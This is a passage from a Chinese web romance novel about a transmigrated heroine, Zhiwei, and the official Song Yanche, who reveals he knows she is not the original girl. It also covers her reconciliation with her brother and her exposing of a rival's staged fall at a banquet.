说完她转身便跑了,她手中的话本掉落在地上,一如宋言澈被拒绝了的心,灰头土脸的,还有些疼。 花影和月痕看到小姐飞跑出去的身影,忙不跌跟了上去。 知微慌忙上了马车,脸上红扑扑的,连面纱都忘了戴了。 于是,便被今日刚出府的郑世子看到了知微的脸,郑世子冷哼一声,脸上的表情变的极为扭曲,咬着牙吩咐道,“去,给我查那女子的身份!” 这一切,上了马车急匆匆回府的知微,和书肆内自嘲着捡起知微掉落书本的宋言澈丝毫不知。 车厢内,月痕看着小姐嫣红的唇张了张嘴,花影对月痕摇了摇头,二人权当不知。 知微的脑海里,全是那句,我知道的,你是知微。 他知道? 他为什么会知道? 他不害怕吗? 他爱的不是原主吗?他为什么不怕? 他不应该找个道士来将给自己收了吗? 他不认为自己的是什么精怪,强占了原主的身子? 他怎么能对原主这么轻描淡写呢! 他不是爱她吗! 知微的脑子乱极了,她脑袋里仿佛有一团乱线,东扯西扯的,怎么都扯不断。 最终她还是抓了抓乱糟糟的头发,像泄了气般想,他知道便知道了,知道自己不是原主还移情别恋!渣男! 死渣男!都是渣男! 知微确实没冤枉宋言澈。 他确实知道知微不是知知。 并且,自那时,他也没叫过她知知。 他是什么时候知道的呢,是那次知微亲手给他下了一碗猪油汤面,告诉他,知知已经走了,站在他面前的,是知微,沈家二女,沈知微。 他那时便知道了,她不是知知。 她做的那碗面,太好吃了。 知知做的面,并不好吃,甚至经常忘了放盐,知知的厨艺并不好,她小时一进厨房就火冒三丈的,是字面意思的火冒三丈,那个火,把厨房都给烧了几次。 后来再大一些,知知堪堪学会了烧火,这个时候叶家母亲总会感叹一句,咱们知知啊,本应是富贵小姐,怎么就流落到咱们这了呢,叹了口气,却总是不叫知知做更多。 叶家双亲,对知知是真的疼爱。 他小时,便跟着先生读书,知知对他,像是亲妹妹一般,再大一些,他的心里也是将她当做了妻子的。 再后来,他向先生允诺,待他高中定是要回来娶知知的,那时,他都是将知知当做了自己必须守护的人,他分不清爱和亲情,但是他知道,知知是他的责任。 后来,后来他找不到知知了。 待他再见到知知的时候,她已经成了安定侯的妾室。 在她出事的那个夜晚,他呆呆的坐在大殿上跪了一夜,只求她能平安。 翌日他要走时,主持却叫住了他,说了一句叫他听不懂的话,斯人已矣,活在当下才是。 他当时听不懂,可是在知微给他下了一碗面之后,他却有些懂了。 他自是不能接受的,怎么会呢?不会的,或许知知有了什么奇遇才获得了一身的厨艺呢,一定是的一定的。 他还是每日都会去面馆,只为偶遇她,但是渐渐地,他发现了太多她同知知的不同,她们二人,还真的是不一样的。 知知胆小如鼠,知微却是肆意张扬的,她是鲜活的,是明艳的,是,叫他的心脏不自觉的紧张跳动的。 他发现,他爱上她了。 爱上了知知皮囊下的那个人。 她像是毒药一般,侵入了他的心脏,叫他欲罢不能。 于是,他投了三皇子门下,明里暗里,他开始做一些不太光彩的事情。 他很快得了陛下的重用,也入得了老师的眼。 他渐渐的跟知微又有了接触,她也不再像从前一般排斥他了。 后来她掉崖了,虽然有惊无险,但他知道后恨不得马上飞奔过去。 于是他真的去了,他不眠不休的赶路,待看到她的那一刻,他的心脏仿佛才又跳动起来,他就那么盯着她,睡了过去。 那时他就告诉自己,不会再叫她出事了,再也不会! 那日她的肆意妄为,叫他心中气闷到极点,但是看到她老实承认错误的样子,他却不忍心苛责。 待到那日她气急败坏的冲自己发脾气的时候,他猜想,她对他或许是有情的。 于是他试探了,她落荒而逃…… 今日,她给顾侯做了面。 他吃醋了,他情不自禁的亲吻上了她的唇,却在她问为什么不叫自己知知的时候脱口而出,你是知微,我知道。 她又跑了。 他知道她为什么跑掉。 他也知道她害怕什么。 但是不会的,她不会让她害怕的。 他会得到她,正大光明的得到。 快了,很快了。 第105章 掉马了的知微这几日一直闷在府里,哪也没去。倒是红叶来了一趟。 掉马了的知微这几日一直闷在府里,哪也没去。 倒是红叶来了一趟。 她自是为了顾铭珏来的,她想探探知微的口风,虽然她也不怎么看好顾铭珏在知微心中的分量。 于是她发现,知微烦心的事确实并不是因为珏哥儿。 虽然提到珏哥儿,知微还是会有些情绪波动。 其实烦心必然会烦,毕竟知微是异世的灵魂,掉马这件事对她来说,相当于扒了她老底了,她不气闷都奇了怪了。 红叶倒是直接开门见山,“那日忠勇侯府门前有人故意叫你听到那些话,你,可往心里去了?” 其实红叶是想问知微对珏哥儿的想法的,她委婉的说,知微却还是听懂了。 知微抿了抿嘴,低头靠上红叶的肩头道,“姐姐,顾铭珏他对我确实挺好的,我掉崖那一次,确实是被他感动到了。” 知微笑了笑,这一笑就笑出了颇多的感触来,“可是,人啊,总是现实的,我对他可能心动过,但是我自己将我自己说服了,我才不要守着他那一堆烂摊子呢,又是兄长的孩子又是庶子庶女的,还有一个老糊涂了的老太太,我没那么大的胸襟去帮他打理侯府,他适合找一个世家贵女,能替他打理侯府那种,而我不是。” 她嘿嘿笑了两声,但是眼角却有些泛红了,“你知道的,我太懒了,我才不要自己那么累呢。” 红叶揉了揉她的头发,嗯了一声,却听她继续道,“跟他在一起睡了那么长一段时间,听他又要成亲了,我肯定会不舒服,但是也只是不舒服那一会儿,姐姐,我叫知微,但是我不要自己谨小慎微的活着,那可不是我,我就坦荡肆意的过活才是。” “不然我真去了他那侯府,每日对上那位老祖宗,我不将她气死也能将她气出个好歹来,我可不是从前那个妾室了,那么卑微小心的,我才不要呢。” 红叶直接笑出了声,这孩子,说话这么直白。 “嗯,姐姐知道,姐姐虽然会可惜,但是更希望你能过的好,小宋大人不错,且再观望观望,我听着陛下对他颇为看中,指不定哪天就又升官了,你。” 知微哼的一声将头埋进红叶怀里,闷闷道,“不听不听,姐姐不要说他这个渣男,死渣男,不是好人!” 红叶听她这孩子气的话,就知道二人发生了些什么事情,忽的便笑开了。 挺好的,男才女貌,确实相配。 她也就不去替珏哥儿说好话了,这次老太太颇有些珏哥儿不娶亲她就誓不罢休的地步了。 真是老糊涂了,净折腾孙儿。 可是没过几日,便又传出了老太太病重的消息,红叶拨算盘的手一顿,忙不迭的起身往侯府赶。 掉马后的知微很烦。 很烦很烦,非常烦。 她就像是一桶即将被点燃的炸药,惹的家中的一众老小没一个敢惹她的。 具体事件如下。 沈父:“女儿啊,爹爹想。” 知微脸上面无表情,并不想搭理经常坑她的爹爹,一个眼刀子飞过去,“不,爹你不想。” 沈父尴尬的摸摸摸摸鼻子,“对对,爹爹不想。” 然后转头去问画影和雨痕,宝贝闺女到底出了何事。 二人支支吾吾,最后是画影硬着头皮说应是跟小宋大人闹了别扭。” 沈父一下子眼睛一瞪就站起来了,闹别扭?闹别扭好啊,闹别扭说明二人感情有进展,甚好甚好。 他可是听说了,安定侯府那位老祖宗可是发了癔症,正逼着顾铭珏娶亲呢,宋言澈的机会这不就来了。 他可是向自己保证了,只要能娶到知微,叫他入赘都是可行的。 那谁近谁远的,他这个当爹的还能看不清? 沈父摸着胡子在那想办法呢,为了女儿的终身大事,他真的是操碎了心了。 事件二: 双胞胎下学归来,在府内横冲直撞的没个正行。 知微微一挑眉,哼了一声叫二人过来,双胞胎被吓了一跳,看表姐的面色不好,低着头老实过去。 “你二人刚才在作何?” “功课都做完了吗?” “明日休沐?嗯,刚好,我的点心铺子也在准备开业,小吃铺子也缺人手,你二人也十二岁了,也该体验赚钱的乐趣,明日便由画影带着你们去店里体验一日生活吧。” “怎么?不愿意去?” 双胞胎是一个不字都蹦不出来,连大气都不敢喘的,最后乖乖的点头称是,才被知微放过。 事件三: 夜深。 不知从哪喝了酒的高淮阳被知微给抓包了。 高淮阳想跑的腿脚都没收住,就听知微冷飕飕道:“二表兄如今的胆子是愈发的大了,小舅舅舅妈不在喝酒都能喝到半夜才回来,怎么?还不敢看我,难不成去喝花酒来着?呵,我看爹爹给你留的课业是不是太少了,还得多加一些才是啊。” 跟在后头不远进府的高淮安闻着自己的一身酒气,登时便顿住了脚,他一把扯过身后的大表兄诚恳道:“大哥啊,你看看小表妹的这个情况,能不能帮着解决一下,这,这逮谁咬谁的,咱们实在是吃不消。” 沈知晖揉了揉额头,忙过去好一阵解释,知微才放过了三人。 但是为了顾及侯府上下主子和仆从的心情,沈知晖转头又出了府。 于是,在第二日,知微在翠儿和高雅晴的陪同之下去了庄子散心。 且是被一家人强制性要求的。 翠儿她们都看得出来姐姐心情不好,但是姐姐不说,她们也不敢问。 所以这几日翠儿和高雅晴二人是要多老实有多老实,俱是在府里待着,没敢蹦跶。 知微看着外头的风景,心口也没那么闷了,想着一会该去山上捡些果子做几个陷阱抓些野物来才行呢。 刚到庄子,便见管家迎了上来,汇报近期的情况,在说到叶文章的时候,管家停顿了一下,说叶文章身体好了之后便搬出了庄子,目前应该在山脚下荒地那搭了个茅屋落脚。他救的那个孩子同家人也经常一起去看他,还教他如何种地。 知微点点头,想了想,叫翠儿和高雅晴她们自由活动,不准走远了,自己则是慢慢踱着步子,去了山脚。 翠儿二人对视一眼,跟管家说了一声便跑到隔壁庄子找人玩去了。 丫鬟和护卫跟在她身后不远的地方。 远远的,知微便看到了在荒地上干活的人。 他跛着脚,吃力的翻动着脚下的荒地,遇到有石头,还需要一点点的扒出来,将其清除干净才行。 九死一生过后,他才知道他原先有多混账,身体差不多好了之后他便搬出来了,他实在,没脸见小妹…… 知微就那么静静地看着叶文章,她的脑海里俱是原主的回忆,那些同叶家父母一起的日子,是那么的快乐,温馨。 也不知她看了多长时间,叶文章擦了擦额角的汗水,衣衫上沾满了泥土,似是习惯了,他并不在意,起身去拿水壶的时候,就那么一转身,便看到了田边知微的身影。 他有些激动,连喝水都忘了,着急跑了两步,却又停住了脚。 他抿着唇,揪着脏污的衣摆,有些拘谨的看向知微,张了张嘴,最后却只是说了句,小,小妹,那一声小妹差点被秋风卷走,叫知微差点没听清。 她嗯了一声,再开口的时候,已经红了眼眶。 “兄长,你早这样,该多好啊。” 一声兄长,叫叶文章也没崩住,他哎哎了两声,颤抖着捂住了脸,竟捂住了脸跪在了地上,呜呜的哭出了声来。 “爹娘,是我对不住你们啊,小妹,小妹她叫我兄长了。” 知微也在哭,她不知道自己是原主哭还是自己在哭,但是她知道,原主应是原谅叶文章了,这一声兄长,她是真心实意的。 一阵秋风吹过,片片黄叶被席卷而下,带着些悲凉,秋日寂寥,叫人伤感。 身上忽然被人披上了个温热厚实的披风,月白色的,带着淡淡墨香。 宋言澈就这么突如其来的出现在了她面前,他给她披上了披风,低头专注的给她系上。 又看着她不断抽泣的面颊,叹了口气。 取出怀里的帕子,一点一点的帮她擦泪。 知微噘着嘴倔强的别过脸去,不叫他碰。 他耐心的哄着她,随着她的动作,一点一点挪动,丝毫没有不耐烦的样子。 知微最后也不哭了,气鼓鼓的扯过他手里的帕子,瞪着他道:“谁叫你擦!也不怕我是什么老妖精,将你扒皮吃掉!” 说罢便在宋言澈的轻笑声中将他的帕子扔的老远。 宋言澈也不生气,挥挥手自有下人去捡。 这人竟真的撩起了衣袖,胳膊举到她嘴边,“拿去吃,嗯……不好吃的话,不若吃脖子?” 知微气极,狗东西我他妈咬死你! 宋言澈轻笑着小声哄她:“好了,莫闹了,饿了吗,同文章一起去用个膳可好?” 说罢放下衣袖,竟直接牵起了她的手,朝着叶文章走去。 知微强硬的甩了两次没甩开,跺了跺脚,骂了两句也便由着他去了。 宋言澈松开知微,将叶文章给拉了起来,待叶文章看清来人,心中更加羞愧难当。 宋言澈几句话便叫叶文章给止住了泪,三人一同来到了他现在所居住的茅屋。 很简单的两间茅屋,因在山脚下,除了栅栏有些高,别的倒是没什么不同的,很简单,是个能遮风挡雨的地方。 但是瞧着还算是细心打理的,屋内很干净。 叶文章忙着倒水,宋言澈却叫他先去梳洗换件干净衣物,下人早就递上了食盒,他们三人,也该在一起用个膳。 知微看了眼忙前忙后的二人,只一屁股坐下,谁并不搭理。 花影和月痕见屋里狭小实在没有落脚地,二人对视了一眼,花影对知微道:“小姐,我和月痕守在屋外,有事您叫我们。” 知微点了点头,却道:“你们同护卫都去吃口热饭,下午咱们去山里逛逛。” 二人自是称是,宋言澈几步走至她身前,蹲下道:“知微,你不生气了可好?” 知微白了这人一眼,“我为何生气,你。” 她抿了抿嘴,挑挑眉,还是问出了那句话,“你不怕?” 宋言澈蹲在她身前,头微微仰起于她对视,正色道:“不怕,一点也不怕,知微,你别。” 只听叶文章的声音传来,妹妹,言澈兄, 宋言澈叹了口气,起身去迎人。 知微却是没忍住勾了勾唇角,心里微微舒服了一些,没被当成什么洪水猛兽,他说不怕,挺好。 饭菜是宋言澈带来的,他似乎不是第一次来,还给叶文章带了些吃的用的,三人简单用了几口。 叶文章同宋言澈二人还喝了些酒,知微看着眼馋,偷偷给自己倒了一杯。 宋言澈看到了,也只是宠溺的瞧了她一眼,并未阻拦。 最后叶文章喝的酩酊大醉,他趴在桌上,再一次哭到不能自已,最后哭睡过去。 知微同宋言澈二人无奈对视,二人叹了口气,错路都已经走完了,现在哭还有什么用呢,已经来不及了。 知微并未多言,只是临走时将初次见时叶文章给她的一百两的银票留下了,她想叫他重新开始,自己再建造一个家。 宋言澈却是从怀里取出一个匣子来,递给知微,知微狐疑的接过,里头赫然是临县叶家房子的房契。 知微端详了片刻后点点头,一并放在桌子上,等叶文章清醒后自己选择,是留在京里,还是回归临县。 毕竟,落叶总是要归根的。 秋意浓。 二人并排走在山路上,脚下踩着干枯的树叶发出清脆的声响。 花影小跑着抱着个披风来,知微这才想起身上还穿着人家的披风呢。 知微将披风还给对方,穿上了自己的粉色披风,尤其是她偷喝了酒,脸颊上染了一层薄红,粉粉嫩嫩的,将披风上绣的桃花都给比了下去。 花影给小姐系上披风之后就闪了,庄子上两位小姐闹着要跟来一起上山,还好被她给推拒了,不然哪能看到现在这个情景。 实在是二人站在一处分外养眼。 知微看着前头的密林,眼神飘忽,开口道,“你不怕吗?不怕我是什么地域来的恶鬼,是什么千年老妖怪?” 宋言澈转过身子去,看着她笑出了声,当知微快要生气的时候,他轻咳一声道:“哪里会有这么可爱的老妖怪。” 他专注的看着她,难得的正经道:“如果有,那便叫她吃了我吧。” 知微听他一本正经的说出这么不着调的话,眯着眼睛憋闷的咬了咬牙,一脚踩到了他的脚面上,愤恨的转身走了。 宋言澈夸张的抱着脚叫唤了两声,看知微没有回头的意思又小跑着追了上去,“上次来同文章兄在前头见了几棵果树,不知成熟没,一起去看看如何?” 一听有果子,知微眼睛情不自禁的亮了亮,她面上勉为其难的点了点头,表示可以。 本就是庄子上种的果树,有些佃农也会摘来去吃,只是这些果子漫山遍野的还挺常见的,这边除了开荒的也无人过来,便余下了几棵没被摘光的。 宋言澈上次过来也吩咐过管事,叫嘱咐一声,留些果子,管事便叫人没事来看着,怎么着都留下了一些。 二人来到那一片山坡,有棵桃树,李子树,还有棵柿子。 二人蹦跶着摘了一些,李子用帕子擦了擦知微就往嘴里送,直接被酸掉了大牙,好不容易缓了缓,决定还是带回去做果酱吧,多放着糖来熬,几个小的应该会爱吃。 她皱着眉头看着手里的果子的时候,宋正嘴角含着笑,就那么一瞬不瞬的望着她。 待知微那么一抬眸,便对上了他那双幽深炙热的眸子。 知微轻咳一声,别过脸去,道:“那个,该回去了,也得给人家过路的留一些。” 宋言澈嗯了一声,也不嫌果子脏了自己衣裳,全都兜到自己披风里抱着,怎么说呢,模样还有些滑稽。 知微扬了扬唇角也没嘲笑他,二人一同回了庄子。 一路无话,二人只是散步在田埂里,但是却很舒服,她不说话,只望着周围的风景露出恬淡的笑容,他看着她,手里还抱着二人一同摘下的果子,很,安逸。 是的,是那种岁月静好的安逸。 仿佛二人的相处本就应该是这样的,她在闹,他陪着她闹,她在笑,他静静地看着她,陪着她笑。 他们相处的很舒服。 花影和月痕二人捂着嘴偷笑,二人也觉得小姐和宋大人本该如此。 第106章 知微从庄子回来安乐便递了帖子,邀请府上的小姐去赏菊宴。她心情虽 知微从庄子回来安乐便递了帖子,邀请府上的小姐去赏菊宴。 她心情虽好了许多,但是因为马甲掉了,心里乱糟糟的,不太想出门。 无事时她便抱着话本子看,尽量不去想那些心事。 但安乐又蹦跶着过来了,讨了她的点心方子不说还极力的邀请她去府上的赏菊。 盛情难却,她便点头同意了,捏着安乐的鼻子说一定会去的。 表姐表妹也一同去,多认识一些京中贵女也是好的。 尤其是高雅若,准姐夫来年要参加春闱,她听爹爹夸赞了姐夫几句,若是高中,姐夫很大的几率会被爹爹给留在京中,高雅若多认识些京中贵女妇人,对二人之后也多有益处。 知微便摇头晃脑去找沈知蕴商量去了,顺便拉着她去外头选些布料首饰,好去参加宴会。 郑馨儿死了,安乐虽然在当时也受到了些惊吓,但事后最畅快的便是她了,如今也她算是京中贵女之首,再也没贵女去触她的眉头了。 每年她娘都要举办赏菊宴,如今她风头正盛,自是要帮着她娘好好大办一下的。 虽说跟皇家狩猎也搁不了几日,但总是不一样的。 在安乐的软磨硬泡之下,她娘亲去求了太后,四皇子便也要被放出来了,一点不耽误参加赏菊宴。 于是她给京中的贵女多数都下了帖子, 红叶自然也收到了,可是谢老太癔症发的厉害,已经将红叶和顾铭珏都困住了,动弹不得。 这边知微找姐姐说做衣裳,沈知蕴便提了几日后皇家狩猎的事情,两人多做了几件骑装,总能穿到的。 皇家狩猎,沈父定是会伴架的。 知微看沈知蕴看向自己迟疑的表情便知她是不想叫自己一同前去的。 但是吧,知微这好奇心一上来,她哪能轻易的放弃。 她双手保证不添乱,只看戏,且,发誓自己再也不会做危险的事情了,只要带着她,叫她做哑巴都行。 沈知蕴无奈,只能由着她去了。 翌日便是赏菊宴,府上的女儿家全部出动,分了两辆马车前往。 听说不少青年才俊也是会去的。 恰逢沈知晖休沐,他倒没去凑这个热闹,而是带着高淮安和高淮阳去见大儒去了,来年春闱要紧。 知微是头一次见安乐的娘亲广明郡主,她只瞧着是位高贵的美人,但二人并未有所接触,郡主自是不喜她这个被找回来的,她也不去热脸贴冷屁股。 郡主一向喜欢沈知蕴,拉着沈知蕴说话,安乐直接带几个女孩子出去赏花。 知微对花啊草啊的兴趣不大,叫翠儿她们去玩,自己找了个凉亭坐下,从腰间的荷包捏了把瓜子嗑了起来。 她昨日刚炒出来的,焦糖味的瓜子,好吃到停不下来,就是容易脏手,不过没事,一会她去洗就是了,她鲜少参加宴会,至今就参加了一次皇后的那个什么宴,京中大多数贵女都未见过她,她自己一人玩的十分自在。 她有些可惜自己没带话本子出来,嗑着瓜子不看话本子有些可惜了。 她们到的不早但也不算晚,已经有不少贵女结伴在赏花了。 花园很大,放眼望去全是菊花,花团锦簇的,除了常见的,绿菊墨菊也是有的。 那么大喇喇的一片,可见郡主府实力。 知微在凉亭也坐了好一会了,眼看也快开宴,她便起身准备去走走,将有些脏乎乎的手给洗净,不然一会沈知蕴看到,她一准挨训。 郡主府甚大,为了不瞎转悠浪费时间,花影去找丫鬟问净室的方向,知微则是百无聊赖的在花丛里转悠。 心说到底是几代的家业,放眼望去都是名贵的品种,可真阔气。 只见两位面容娇好的小姐有说有笑的朝她走来,待那穿浅紫色衣裙的小姐看清前头知微的面容,又看到远处朝这边走来的几位男子,眼眸闪了闪。 两位小姐在快行至知微身前时,紫衣小姐侧身抱住了身边粉裙小姐的胳膊,说了句什么,粉裙小姐眼睛亮亮的点了点头,行至绿菊旁便低头闻了起来,伸手想要摘上一朵,迟疑了一瞬又没敢。 而紫衣小姐却是欢快的向前跑了几步,似是没有看到知微,直接撞到了知微身上。 知微背对着她,被她撞的一个踉跄,差点载进花丛里。 她看着花丛中的荆棘,无奈抿了抿唇,怎的又来了个蠢货。 她转过身子冷眼看过去,紫衣女子慌忙道歉。 知微看清女子的脸后边笑了,气笑的,哦,花灯会叫言澈哥哥的那名女子。 紫衣女慌乱之下竟然想上手抱住了知微的胳膊,被知微扬起胳膊闪开了,“对不住这位姐姐,我不是有意的,啊。” 然后这位姑娘啊的一声,直接倒在了地上,她应是有些疼的,竟直接红了眼眶,泪水充满了眼眶,眼泪要落不落的,咬着嘴唇看向知微,“我已经道歉了,姐姐为何还要推我……” 知微啧啧两声,还真是我见犹怜,怎么着,这位小姐没点高明的手段吗,就会碰瓷啊。 粉裙小姐气冲冲的跑过来将地上的好友扶起,“盼儿已经道歉了!姑娘何故再推她!大庭广众之下,还要不要点脸了!” 知微直接被气笑了,骂她不要脸?成吧,那便不要脸了吧! 知微挑着眉看着二人,她抱着膀子不急不慢道,“这位姑娘是哪只眼睛瞧见我推她了?她说是我推的就是我推的?她说大白天的见了鬼姑娘也信?姑娘可要拿出证据来,莫要含血喷人啊。” 粉裙女被气的拿手指着知微道,“你,不是你还能有谁!不是你盼儿还能自己摔倒在地上!” 粉裙女从来没在宴会上见过知微,见知微头上未戴什么贵重首饰,衣裳虽是京中实行的款式却并不华丽,只以为知微是哪家来打秋风混进来的,跟她们这种三品大员家的贵女又岂能相比,言语上便十分不客气。 “哼!也不知是哪家的小姐!到人家做客一点规矩也没有!” 知微被她说的咯咯直乐,一点也不见生气的模样,她看周围不断涌过来的人群,笑着往二人身前走近。 “我呢,最是厌蠢了,这位小姐麻烦让让,我同这位,盼儿小姐是吧,好好说道说道。” 粉衣女自是不让,知微却一撇嘴,“怎么?不相信你朋友是清白的?我就说吗,你也是不信她的,我跟她问几句话你都不敢。” 粉衣女果然被激,当即将身后的人让了出来,掐着腰对知微大声道,“来,你说,我看你能怎么狡辩。” 王盼儿还在小声的抽泣,只敢拿眼睛怯怯的看一眼知微,她眼睛红红的,一副被欺负了的模样,小声道,“对不住姐姐,刚才盼儿不是故意撞你的。” 却听知微清嗤一声,她走至女子身前朗声道,“既然姑娘已经将我的罪名坐实了,那我自是不能辜负姑娘的一番栽赃对不对。” 说完她右手猛的抬起,一个用力,将人实打实的推倒在地。 知微啧啧两声,扬了扬手,“看到了吗?这下才是我推的。” 她笑望着地上人震惊的表情,伸出自己的五个手指头道,“姑娘就有所不知了,我啊,这个手要是真推了你,你身上定会有印子的,你看,刚才没有,我这推完,你衣衫上便有了吧?” 那粉衣女子要扶起好友的手一顿,在王盼儿肩头确实多出了模糊的手印。 因为王盼儿今日穿的是浅紫色长裙,黑乎乎的指印在其肩头尤为显眼。 顺着知微的视线众人打量起王盼儿的衣裙,却也只有这一处有指印。 知微撇撇嘴,“哎呀,刚嗑完瓜子,手还未来的及洗呢,哦。你问为什么是黑乎乎的,瓜子外壳是焦糖的,你闻闻她身上被我推那处,是不是有些甜甜咸咸的味道?” 粉衣姑娘却是不会去闻的,支支吾吾道,“盼儿又未见过你!怎么会污蔑你!定是你,你。” 知微上下打量粉衣女子一眼,摇摇头,“就你这种没脑子的,被人当枪使,早晚要吃大亏。” 说罢,知微还在王盼儿的女子身前转了两圈,摇着头啧啧两声,说了句:“不知道你用这招诬陷过多少小姐了,可真是,小人啊。” 这才转身要走。 却在转身的瞬间,看到了皱着眉头望向她们的宋言澈。 知微呵的一声冷笑,狠狠的瞪了宋言澈一眼,唇角微微勾起意味深长道,“哦,我说呢,原来是做给宋大人看的!” 宋言澈自是猜到了大概,重重的叹了口气。 他见知微气鼓鼓的脸颊,心说完了,生气了,这下不知怎么哄才能好。 他之前已经言辞狠厉的拒绝了这位王小姐,没想到这王小姐竟然这么执拗,他也没打算搭理那两位碰瓷的小姐,刚想要开口安抚知微之时,却听身后传来一阵轻笑。 坏了!是四皇子。 他故意接近四皇子,同他走了一路,是他大意了,四皇子怎么可能会听他的话坐在凉亭里等他! 四皇子安若明拍着手缓步走来,看着知微的眼睛里写满了兴味。 “这位便是沈大人府上找回来的二小姐吧,失敬失敬,二小姐竟是这般妙人,推的好,推的好啊,就这种货色,是该多推两把的。” 四皇子双眼粘在了知微身上,这明艳的脸庞和窈窕的身姿,不吃亏的脾性都叫他勾起了征服欲,他话锋一转直接夸赞道:“二小姐竟如此的好相貌,实在是惊为天人啊,本殿。” 安乐也听到动静寻了过来,看到四哥盯着知微姐姐一脸痴迷的模样,话语间逐渐放肆,眉心跳了跳,立马上去打断道,“四哥,你怎的也在这里,我小嫂子刚才有些不适,娘亲请了府医过去了,不若我陪你去看看吧,别出了什么岔子。” 安若明在人前玩的并没有那么疯,他还是愿意给安乐面子的,只是又意味声长的看了知微两眼,走过宋言澈身前时还拍了拍宋大人的肩膀,道了句宋大人眼光确实不错,这才走了。 宋言澈眯了眯眼睛,眼神迸发出了几分危险和狠厉! 知微收到了安乐的眼神,眨眨眼点了点头,叫她安心,自己无事的。 只要她爹还在那个位置,四皇子便不敢动她,且这个四皇子,看着没传闻中的那么狠辣疯狂,总归不要激怒他就好。 知微看看宋言澈发沉的俊脸,又看了看两只眼睛粘在宋言澈身上无声落泪的王盼儿,呵了一声,同宋言澈擦身而过。 妈的狗东西!死渣男!一堆烂桃花!怎么渣不死你! 宋言澈无奈,想要追过去,便被赶来的下人叫住了,下人近身同他言语了两句,他眉头紧锁,看了看知微的方向,接着便转身离开。 月痕早就回来了,看知微正忙着怼人也没敢上前打扰,她们小姐战斗力强着呢,一点也不怕事的! 一直到宴席结束,都安安稳稳的,并未发生什么事情。 只是走时知微听安乐说,那个王盼儿宴席还未开始便哭着走了,那个粉衣小姐更是闹的跟她绝了交,也气愤的走了。 知微笑着点点头,只邀请安乐等狩猎结束后去府上,她做些新鲜菜肴给她吃。 安乐一听那乐开了,可惜孙甜甜不在,跟着娘亲探亲去了,不然依着二人的性子,高低得在沈府住上几日吃够了才行。 第107章 基本上念秦孕吐好了之后知微便不怎么往忠勇侯府跑了,只是偶尔还是会做 基本上念秦孕吐好了之后知微便不怎么往忠勇侯府跑了,只是偶尔还是会做上些吃食叫下人送去。 只是这日下人突然传了念秦的口信,邀请知微去别苑。 彼时她正同沈知蕴一起试着刚做好的骑装,后日的皇家狩猎,知微定是要去凑个热闹的,沈知蕴无法,知道这个热闹不叫她看是不可能的,只能带着她去。 最近皇后是一点没蹦跶,听说此次狩猎皇后犯了旧疾是不去了的,皇帝只带了个宠妃过去。 知微问皇后是真生病了吗的时候沈知蕴只是笑了笑,朝她挑了挑眉,知微便并不深问了,问了姐姐也应也是不说的,估计姐姐同皇后都在憋大招呢。 知微接到念秦的口信时虽有些奇怪,但心里担心别是念秦出了什么事情,便急匆匆的出去了。 沈知蕴眸色沉了沉,见知微着急出了门,思趁了片刻,起身对着丫鬟吩咐了几句,丫鬟瞪大了眼睛有些不明所以,半晌明白了以后便老实的点头出门去了。 知微以为念秦出了事情,一路上风驰电掣的,很快便到了,只是到那一看,咦,夫妻俩都在。 虽然二人面色都不是很好,但不像出了大事的样子。 她松了口气,又恢复了从前的模样,笑着同二人见礼,打趣道姐夫今日怎的舍得放念秦姐出来了,太阳这是打哪边出来了。 崔文远扯了个僵硬的笑,念秦叹了口气,叫她做到自己身边来。 知微见这二人的模样,有些莫名其妙的,“怎么了念秦姐姐,你和姐夫的表情,都好奇怪。” 念秦帮她整理了头发,看着她道,“上次你在侯府门前碰到的事,为何不告诉我?你。” 知微却笑了,摆摆手忙道,“那事啊,这都快好几天前的事情了,姐姐怎么又提起来了。” 因着念秦怀孕并不稳定,侯府和外头的事情能瞒她的便都瞒了。 只是今日一早还是叫她知道了安定侯府要同忠勇侯府再次结亲的事情。 她将心腹唤来,一番盘问之下,才知道是知微上次来便上门了,知微还给碰到了,竟然还敢故意叫知微听到! 这不纯恶心人吗! 念秦生气,对崔文远冷了脸,一番解释之后念秦给知微递了信,夫妻二人便来了别苑。 她打量着念秦的表情,忙解释道:“我知那是侯夫人故意叫我听到的,早晚的事情,顾侯爷还得娶一个能替他管理后院的人不是,我没觉得哪里有不好的,都是过去的事情了,姐姐无需在意,真的。” 念秦却还是有些生气的,“以后你不要去府里找我了,省得以后还有人算计你。” 崔文远在一旁小心翼翼的解释道,“这事真不是我娘做的,是,是我二婶娘,那个故意引二姑娘碰见的嬷嬷也被我娘给撵庄子去了,以后不会了,真的,我娘很感激知微一次次去给娘子你做吃的,真的,我娘,我娘。” 知微见这情况,连忙帮崔文远说话,她小心的抱着念秦的胳膊撒娇,“姐姐,姐夫都说了不关侯夫人的事,我觉得吧,侯夫人也不会如此,她又没有嫡女了,几个庶女打发了就是,犯的着因为她们得罪我吗,不值当的,再说了,我跟顾铭珏都多长时间的事情了,我都不在意了,真的,一点也不在意,姐姐就别生姐夫的气了,还未满三月呢,气到我小外甥怎么办。” 知微轻轻的摸了摸念秦还没有隆起的小腹,好转移二人的注意力。 念秦眼圈渐渐有些红了,这孩子,现在因为她也受委屈,叫她心里怎么不难受。 知微一见念秦要哭,崔文远急的也站了起来*,知微忙拿出帕子来哎吆两声,“我的好姐姐,怎么怀个孕,还多愁善感起来了,我很好,真的,我发誓,我会一直一直很好,不会再叫自己受委屈的,真的,我发誓,姐姐莫哭。” 她举起手就要做发誓状,念秦见她耍宝,终于破涕为笑,知微同崔文远对视一眼,二人终于松了口气。 红叶从外头顶着俩大黑眼圈开门进来了,一见念秦眼圈红红的,就要对崔文远发作,崔文远见着红叶后像只鹌鹑似的,是大气都不敢喘。 知微忙又去安抚这个,“姐姐姐姐,不是的,念秦姐姐已经好了,姐夫一直特别听话,真的,我一直都在这看着呢。” 红叶看哄完念秦又来哄她的小姑娘,深深的叹了口气,嗯了一声,扯了扯嘴角对念秦道,“若是在侯府受了委屈,也不必在乎什么,该砸的砸该闹的闹,大不了回来就是,切勿伤着自己,咱们家人多,不怕什么的。” 崔文远那个汗刷一下就下来了,这位姐是真的没开玩笑,说到做到,太强悍,他实在挡不住。 念秦却看着身旁的崔文远笑了,真心实意的笑,“嗯,您放心,他和公婆都对我挺好的,至于旁人,她们不敢近我的身。” 红叶欣慰的点点头,又看了眼崔文远,崔文远立马举双手发誓对念秦一心一意绝对事无巨细的照顾好她。 知微捂着嘴偷笑,被红叶给拍了两下屁股这才老实,念秦笑着道,“您放心吧,他不敢的。” 午膳念秦还是回去用的,孕吐刚好,红叶也怕她吃不了外头的食物,便大包小包的给带了好多东西叫二人回去了。 